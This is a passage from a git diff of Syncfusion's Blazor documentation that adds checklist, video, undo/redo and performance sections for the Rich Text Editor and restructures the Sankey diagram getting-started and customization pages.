+| Underline | ![Underline icon](../images/under-line.png) | Adds a line beneath the text |
+| StrikeThrough | ![StrikeThrough icon](../images/strikethrough.png) | Applies a line through the text. |
+| InlineCode |![InlineCode icon](../images/inlineCode.png) | Formats text as inline code |
+| SubScript | ![SubScript icon](../images/sub-script.png) | Positions text slightly below the normal line |
+| SuperScript | ![SuperScript icon](../images/super-script.png) | Positions text slightly above the normal line |
+| LowerCase | ![LowerCase icon](../images/lower-case.png) |  Converts text to lowercase |
+| UpperCase | ![UpperCase icon](../images/upper-case.png) | Converts text to uppercase |
 
 Please refer to the sample below to add these basic text styling options in the Rich Text Editor.
 
@@ -147,6 +147,26 @@ The following example demonstrates how to customize the bullet format lists in t
 
 ![Blazor RichTextEditor bullet formatlist](../images/blazor-richtexteditor-bullet-format-list.png)
 
+## Checklist
+
+Checklists enable users to create interactive lists with selectable items, making it easier to track tasks and organize content efficiently. The Rich Text Editor provides a simple way to create and manage checklists:
+
+### Using the checklist tool
+
+The `CheckList` toolbar item provides a convenient way to create or toggle a checklist. To use it, select the desired text in the editor and click the `CheckList` button in the toolbar. The selected text will be converted into a checklist with checkable items. If the content is already a checklist, clicking the button will remove the checklist formatting.
+
+Please refer to the sample and code snippets below to add these checklist options in the Rich Text Editor.
+
+{% tabs %}
+{% highlight razor %}
+
+{% include_relative code-snippet/check-list.razor %}
+
+{% endhighlight %}
+{% endtabs %}
+
+![Blazor RichTextEditor checklist](../images/blazor-richtexteditor-check-list.png)
+
 ## Nested list creation using Tab key
 
 In the Rich Text Editor, pressing the `Tab` key while the cursor is inside a list item automatically creates a nested list. This behavior allows users to structure their content hierarchically by indenting list items. Each press of the `Tab` key increases the nesting level, converting the current item into a sub-item of the previous one.
@@ -174,6 +194,16 @@ To adjust the text indentation:
 
 To configure the `Indent` and `Outdent` toolbar item, refer to the below code.
 
+{% tabs %}
+{% highlight razor %}
+
+{% include_relative code-snippet/indentations.razor %}
+
+{% endhighlight %}
+{% endtabs %}
+
+![Blazor RichTextEditor indentations](../images/blazor-richtexteditor-indentations.png)
+
 ### Indentation in lists
 
 The Rich Text Editor provides powerful indentation features for both bullet and number format lists, allowing users to create nested lists and adjust list levels easily.
@@ -214,7 +244,7 @@ The following table list the default format name and width of the  [Format](http
 | Default Key | Default Value |
 |-----|--------------------------------------|
 | [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorFormat.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorFormat_Width) | 65px|
-| [Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorFormat.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorFormat_Items) | new List&lt;DropDownItemModel&gt;()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Paragraph", Value = "P" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Code", Value = "Pre" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Quotation", Value = "BlockQuote" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 1", Value = "H1" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 2", Value = "H2" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 3", Value = "H3" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 4", Value = "H4" }<br>}; |
+| [Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorFormat.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorFormat_Items) | new List&lt;DropDownItemModel&gt;()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Paragraph", Value = "P" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 1", Value = "H1" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 2", Value = "H2" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 3", Value = "H3" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Heading 4", Value = "H4" },<br>&nbsp;&nbsp;&nbsp;&nbsp;new DropDownItemModel() { Text = "Preformatted", Value = "Pre" },<br>}; |
 
 {% tabs %}
 {% highlight razor %}
diff --git a/blazor/rich-text-editor/tools/video.md b/blazor/rich-text-editor/tools/video.md
index 316e8599ff..0fe24c9bd2 100644
--- a/blazor/rich-text-editor/tools/video.md
+++ b/blazor/rich-text-editor/tools/video.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Insert Video in Blazor Rich Text Editor Component
 
-After inserting a video file, you can replace it using the Rich Text Editor[RichTextEditorQuickToolbarSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorQuickToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorQuickToolbarSettings_Audio) `Replace` option. Replace the video file either by using the embedded URL or the web URL and the browse option in the video dialog.
+The Rich Text Editor allows inserting video files from online sources as well as from the local computer, making it easy to embed videos directly into your content. To support video insertion, the following list of configuration options has been provided through the [RichTextEditorVideoSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorVideoSettings.html).
 
 | Options | Description |
 |----------------|---------|
@@ -31,6 +31,8 @@ After inserting a video file, you can replace it using the Rich Text Editor[Rich
 
 To include the video tool in the Rich Text Editor, you can add the toolbar item `Video` to the [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/aspnetmvc-js2/Syncfusion.EJ2.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_EJ2_RichTextEditor_RichTextEditorToolbarSettings_Items) property.
 
+![Blazor RichTextEditor insert video](../images/blazor-richtexteditor-video.png)
+
 To configure `Video` toolbar item, refer to the below code.
 
 {% tabs %}
@@ -187,9 +189,9 @@ After inserting a video file, you can replace it using the Rich Text Editor [Ric
 
 ## Delete video
 
-To remove a video from the Rich Text Editor content, select the video and click the “Remove” tool from the quick toolbar. It will delete the video from the Rich Text Editor content.
+To remove a video from the Rich Text Editor content, select the video and click the `Remove` tool from the quick toolbar. It will delete the video from the Rich Text Editor content.
 
-Once you select the video from the local machine, the URL for the video will be generated. You can remove the video from the service location by clicking the cross icon.
+Once you select the video from the local machine, the URL for the video will be generated. You can remove the video from the service location by clicking the delete icon.
 
 ![Blazor RichTextEditor video delete](../images/blazor-richtexteditor-video-del.png)
 
@@ -205,6 +207,8 @@ Change the width and height of the [RichTextEditorQuickToolbarSettings](https://
 
 Sets the default display for a video when it is inserted in the Rich Text Editor using the [RichTextEditorMediaSettings.layoutOption](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorMediaSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorMediaSettings_LayoutOption). It has two possible options: `Inline` and `Break`. When updating the display positions, it updates the video elements’ layout position.
 
+![Blazor RichTextEditor video display](../images/blazor-richtexteditor-video-display.png)
+
 N> The default `layoutOption` property is set to `Inline`.
 
 {% tabs %}
@@ -233,8 +237,15 @@ Server upload: Use the `SaveUrl` property to upload video files to your server b
 
 You can prevent drag-and-drop action by setting the `OnMediaDrop` argument cancel value to true. The following code shows how to prevent the drag-and-drop.
 
-```
-<RichTextEditorEvents OnMediaDrop="@OnMediaDrop"></RichTextEditorEvents>
+{% tabs %}
+{% highlight razor %}
+
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor>
+    <RichTextEditorEvents OnMediaDrop="@OnMediaDrop"></RichTextEditorEvents>
+</SfRichTextEditor>
+
 @code{
     private void OnMediaDrop(MediaDropEventArgs args)
     {
@@ -243,7 +254,9 @@ You can prevent drag-and-drop action by setting the `OnMediaDrop` argument cance
         }
     }
 }
-```
+
+{% endhighlight %}
+{% endtabs %}
 
 ## Resize video
 
@@ -448,9 +461,4 @@ namespace VideoUpload.Controllers
 
 ## Paste video into the editor
 
-The Rich Text Editor supports pasting video files directly into the editor content. You can paste single or multiple video files from your file system directly into the editor.
-
-## See also
-
-* [How to edit the quick toolbar settings](../toolbar#video-quick-toolbar)
-* [How to use link editing option in the toolbar items](../tools#insert-link)
\ No newline at end of file
+The Rich Text Editor supports pasting video files directly into the editor content. You can paste single or multiple video files from your file system directly into the editor.
\ No newline at end of file
diff --git a/blazor/rich-text-editor/undo-redo-manager.md b/blazor/rich-text-editor/undo-redo-manager.md
index ae7280a6e0..06e012308d 100644
--- a/blazor/rich-text-editor/undo-redo-manager.md
+++ b/blazor/rich-text-editor/undo-redo-manager.md
@@ -16,7 +16,7 @@ To undo and redo operations, do one of the following:
 * Press the undo/redo button on the toolbar
 * Press the <kbd>Ctrl + Z</kbd>/ <kbd>Ctrl + Y</kbd> combination on the keyboard
 
-You can customize the number of undo and redo steps using the [UndoRedoSteps](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html) property. By default, undo and redo actions are stored every `300` milliseconds in the undo/redo manager. The time interval can be customized by using the [UndoRedoTimer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_UndoRedoTimer) property.
+You can customize the number of undo and redo steps using the [UndoRedoSteps](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_UndoRedoSteps) property. By default, undo and redo actions are stored every `300` milliseconds in the undo/redo manager. The time interval can be customized by using the [UndoRedoTimer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_UndoRedoTimer) property.
 
 {% tabs %}
 {% highlight razor %}
@@ -51,6 +51,9 @@ In the following code example, remove the undo and redo tools from the toolbar.
 {% tabs %}
 {% highlight razor %}
 
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Buttons
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Tools" />
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
@@ -90,7 +93,7 @@ In the following code example, remove the undo and redo tools from the toolbar.
         new ToolbarItemModel() { Command = ToolbarCommand.Print },
         new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
         new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator }
     };
 }
 
@@ -104,7 +107,10 @@ You can configure custom toolbar tools in the Rich Text Editor. Actions performe
 {% tabs %}
 {% highlight razor %}
 
-<SfRichTextEditor>
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Buttons
+
+<SfRichTextEditor @ref="rteObj">
     <RichTextEditorToolbarSettings Items="@Tools">
                 <RichTextEditorCustomToolbarItems>
                     <RichTextEditorCustomToolbarItem Name="Insert HTML">
@@ -121,11 +127,13 @@ You can configure custom toolbar tools in the Rich Text Editor. Actions performe
     SfRichTextEditor rteObj;
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
+        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Redo },
         new ToolbarItemModel() { Command = ToolbarCommand.Bold },
         new ToolbarItemModel() { Command = ToolbarCommand.Italic },
         new ToolbarItemModel() { Command = ToolbarCommand.Underline },
         new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Name = "Insert HTML", TooltipText = "Insert HTML" },
+        new ToolbarItemModel() { Name = "Insert HTML", TooltipText = "Insert HTML" }
     };
     public async Task  onClick()
     {
diff --git a/blazor/rich-text-editor/webassembly-performance.md b/blazor/rich-text-editor/webassembly-performance.md
index 0a44d944da..a603be457a 100644
--- a/blazor/rich-text-editor/webassembly-performance.md
+++ b/blazor/rich-text-editor/webassembly-performance.md
@@ -7,22 +7,22 @@ control: RichTextEditor
 documentation: ug
 ---
 
-# WebAssembly Performance in Blazor RichTextEditor Component
+# WebAssembly Performance in Blazor Rich Text Editor Component
 
-This section outlines performance best practices for using Syncfusion<sup style="font-size:70%">&reg;</sup> RichTextEditor component efficiently in Blazor WebAssembly application. The best practice or guidelines for general framework Blazor WebAssembly performance can be found [here](https://learn.microsoft.com/en-us/aspnet/core/blazor/performance?view=aspnetcore-7.0).
+This section outlines performance best practices for using Syncfusion<sup style="font-size:70%">&reg;</sup> Rich Text Editor component efficiently in Blazor WebAssembly application. The best practice or guidelines for general framework Blazor WebAssembly performance can be found [here](https://learn.microsoft.com/en-us/aspnet/core/blazor/performance?view=aspnetcore-7.0).
 
 N> You can refer to our Getting Started with [Blazor Server-Side RichTextEditor](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) and [Blazor WebAssembly RichTextEditor](https://blazor.syncfusion.com/documentation/rich-text-editor/how-to/blazor-web-assembly) documentation pages for configuration specifications.
 
 ## Avoid unnecessary component renders
 
-During the Blazor Diffing Algorithm, every view of the RichTextEditor component and its child component will be checked for re-rendering. For instance, having an **EventCallBack** on the application or RichTextEditor will check every child component once the event callback is completed.
+During the Blazor Diffing Algorithm, every view of the Rich Text Editor component and its child component will be checked for re-rendering. For instance, having an **EventCallBack** on the application or Rich Text Editor will check every child component once the event callback is completed.
 
-You can have fine-grained control over the RichTextEditor component rendering. **PreventRender** method helps to avoid unnecessary re-rendering of the RichTextEditor component. This method internally overrides the **ShouldRender** method of the RichTextEditor to prevent rendering.
+You can have fine-grained control over the Rich Text Editor component rendering. [PreventRender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_PreventRender_System_Boolean_) method helps to avoid unnecessary re-rendering of the RichTextEditor component. This method internally overrides the [ShouldRender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_ShouldRender) method of the Rich Text Editor to prevent rendering.
 
 In the following example:
 
 * **PreventRender** method is called in the **IncrementCount** method which is a click callback.
-* Now, the RichTextEditor component will not be a part of the rendering, which happens as a result of the click event, and **currentCount** alone will get updated.
+* Now, the Rich Text Editor component will not be a part of the rendering, which happens as a result of the click event, and **currentCount** alone will get updated.
 
 ```cshtml
 @using Syncfusion.Blazor.RichTextEditor
@@ -46,17 +46,17 @@ In the following example:
 ```
 
 N> **PreventRender** method accepts the boolean argument that accepts true or false to disable or enable rendering, respectively.
-<br/> **PreventRender** method can be used only after the RichTextEditor component completes initial rendering. Calling this method during initial rendering has no effect.
+<br/> **PreventRender** method can be used only after the Rich Text Editor component completes initial rendering. Calling this method during initial rendering has no effect.
 
-## Avoid unnecessary component renders after RichTextEditor events
+## Avoid unnecessary component renders after Rich Text Editor events
 
-When a callback method is assigned to the RichTextEditor events, then the **StateHasChanged** will be called in the parent component of the RichTextEditor automatically once the event is completed.
+When a callback method is assigned to the Rich Text Editor events, then the [StateHasChanged](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.components.componentbase.statehaschanged?view=aspnetcore-10.0) will be called in the parent component of the RichTextEditor automatically once the event is completed.
 
-To prevent unnecessary re-rendering of the RichTextEditor component by calling the **PreventRender** method.
+To prevent unnecessary re-rendering of the Rich Text Editor component by calling the [PreventRender](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_PreventRender_System_Boolean_) method.
 
 In the following example:
 
-* **OnToolbarClick** event is bound to a callback method, when the editor content gets changed by toolbar action the event is completed, the **StateHasChanged** will be invoked for the parent component.
+[OnToolbarClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorEvents.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorEvents_OnToolbarClick) event is bound to a callback method, when the editor content gets changed by toolbar action the event is completed, the [StateHasChanged](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.components.componentbase.statehaschanged?view=aspnetcore-10.0) will be invoked for the parent component.
 
 ```cshtml
 @using Syncfusion.Blazor.RichTextEditor
@@ -79,5 +79,5 @@ In the following example:
 }
 ```
 
-N> **PreventRender** method internally overrides the **ShouldRender** method of the RichTextEditor to prevent rendering.  
+N> **PreventRender** method internally overrides the **ShouldRender** method of the Rich Text Editor to prevent rendering.  
 <br/> It is recommended to use the **PreventRender** method for user-interactive events such as `OnToolbarClick`, `UpdatedToolbarStatus`, etc., for better performance.
diff --git a/blazor/rich-text-editor/xhtml-validation.md b/blazor/rich-text-editor/xhtml-validation.md
index 342de9c79d..4ce8c7e07e 100644
--- a/blazor/rich-text-editor/xhtml-validation.md
+++ b/blazor/rich-text-editor/xhtml-validation.md
@@ -7,9 +7,9 @@ control: RichTextEditor
 documentation: ug
 ---
 
-# Xhtml validation in Rich Text Editor
+# XHTML validation in Rich Text Editor
 
-The Rich Text Editor includes an `EnableXhtml` property that allows for continuous validation of the Rich Text Editor’s source content against the XHTML standard. When content is entered or modified in the editor, this feature ensures ongoing compliance by automatically removing invalid elements and attributes.
+The Rich Text Editor includes an [EnableXhtml](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_EnableXhtml) property that allows for continuous validation of the Rich Text Editor’s source content against the XHTML standard. When content is entered or modified in the editor, this feature ensures ongoing compliance by automatically removing invalid elements and attributes.
 
 The Rich Text Editor checks the following settings on validation:
 
@@ -37,4 +37,6 @@ The Rich Text Editor checks the following settings on validation:
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor RichTextEditor XHTML Validation](./images/blazor-richtexteditor-xhtml-validation.png)
+
 N> You can refer to our [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-wysiwyg-rich-text-editor) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) example to know how to render and configure the rich text editor tools.
diff --git a/blazor/sankey/customization.md b/blazor/sankey/customization.md
index 40deab20fa..ced7bc3101 100644
--- a/blazor/sankey/customization.md
+++ b/blazor/sankey/customization.md
@@ -93,7 +93,7 @@ Customize the diagram background using `BackgroundColor` and `BackgroundImage`.
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Customization Background](images/customization/sankey-customization-background.png)
+![Blazor Sankey Customization Background](images/customization/sankey-customization-background.webp)
 
 **Background Image**
 
@@ -107,7 +107,7 @@ Customize the diagram background using `BackgroundColor` and `BackgroundImage`.
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Customization Background Image](images/customization/sankey-customization-background-img.png)
+![Blazor Sankey Customization Background Image](images/customization/sankey-customization-background-img.webp)
 
 ## Dimensions (Width and Height)
 
@@ -188,7 +188,7 @@ Control diagram size using `Width` and `Height`. Values can be specified in pixe
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Customization Dimensions](images/customization/sankey-customization-size.png)
+![Blazor Sankey Customization Dimensions](images/customization/sankey-customization-size.webp)
 
 ## Right-to-Left (RTL) Support
 
@@ -276,7 +276,7 @@ Enable RTL by setting `EnableRTL` to `true`. The entire layout—including nodes
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Customization RTL](images/customization/sankey-customization-rtl.png)
+![Blazor Sankey Customization RTL](images/customization/sankey-customization-rtl.webp)
 
 ## Orientation
 
@@ -364,7 +364,7 @@ Control the flow direction using the `Orientation` property. Values include `Hor
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Customization Vertical](images/customization/sankey-customization-vertical.png)
+![Blazor Sankey Customization Vertical](images/customization/sankey-customization-vertical.webp)
 
 ## Key Points
 
diff --git a/blazor/sankey/data-binding.md b/blazor/sankey/data-binding.md
index 6524a63479..0303651fac 100644
--- a/blazor/sankey/data-binding.md
+++ b/blazor/sankey/data-binding.md
@@ -90,7 +90,7 @@ Below is an example of binding data to the Sankey Diagram in a Blazor applicatio
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Sankey Data](images/data-binding/sankey-data-binding.png)
+![Blazor Sankey Data](images/data-binding/sankey-data-binding.webp)
 
 ### Key Points
 
diff --git a/blazor/sankey/getting-started-wasm.md b/blazor/sankey/getting-started-wasm.md
index 3a9554a7d6..5b8c8cb129 100644
--- a/blazor/sankey/getting-started-wasm.md
+++ b/blazor/sankey/getting-started-wasm.md
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Sankey Diagram in Blazor WASM App
 
-This section briefly explains about how to include [Blazor Sankey](https://www.syncfusion.com/blazor-components) diagram in a Blazor WASM App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey](https://www.syncfusion.com/blazor-components/blazor-sankey) diagram in a Blazor WASM App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,22 +25,6 @@ This section briefly explains about how to include [Blazor Sankey](https://www.s
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey Diagram NuGet in the App
-
-To add the **Blazor Sankey Diagram** in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Sankey](https://www.nuget.org/packages). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Sankey -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -53,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -66,25 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Sankey](https://www.nuget.org/packages/Syncfusion.Blazor.Sankey) NuGet package and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Sankey -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,28 +79,29 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sankey NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Sankey](https://www.nuget.org/packages/Syncfusion.Blazor.Sankey/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Sankey Diagram** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Sankey](https://www.nuget.org/packages/Syncfusion.Blazor.Sankey/) NuGet package. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following command in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Sankey -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Sankey -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Sankey` namespaces.
+After the package is installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Sankey` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -146,25 +112,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor WebAssembly App" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -172,25 +130,24 @@ await builder.Build().RunAsync();
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Reference the script in the `<head>` of the main page as follows:
-
-* For Blazor WebAssembly app, include it in the **~/index.html** file.
+The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
